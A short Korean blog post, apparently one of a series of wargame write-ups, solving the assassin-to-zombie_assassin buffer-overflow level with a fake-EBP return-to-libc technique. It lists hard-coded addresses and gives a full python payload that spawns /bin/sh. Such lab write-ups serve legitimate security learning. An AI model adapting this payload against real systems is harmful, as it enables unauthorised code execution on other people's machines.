nemo의 이야기
BOF원정대 assassin -> zombie_assassin 본문
소스 코드를 확인하면
1. 스택 메모리를 사용할 수 없다.
2. 라이브러리 메모리를 사용할 수 없다.
이를 공격하기 위해 Fake Ebp를 사용할 것 이다.
우선 system 주소와 exit 주소와 /bin/sh와 buffer주소와 leave주소를 확인해보자
/bin/sh : 400fbff9
system : 40058ae0, exit : 400391e0
buffer : bffffaa0
이제 공격코드를 작성해보자
우선 더미(4) + system(4) + exit(4) + /bin/sh(4) + 더미(24) + buffer(4) + leave(4)
$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xa4\xfa\xff\xbf" + "\xdf\x84\x04\x08"')
buffer에 주소를 +- 16씩 계산하여 입력하여 공격에 성공한 것을 확인 할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 succubus -> nightmare (0) | 2018.03.11 |
---|---|
BOF원정대 zombie_assassin -> succubus (0) | 2018.02.09 |
BOF원정대 giant -> assassin (0) | 2018.02.07 |
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
Comments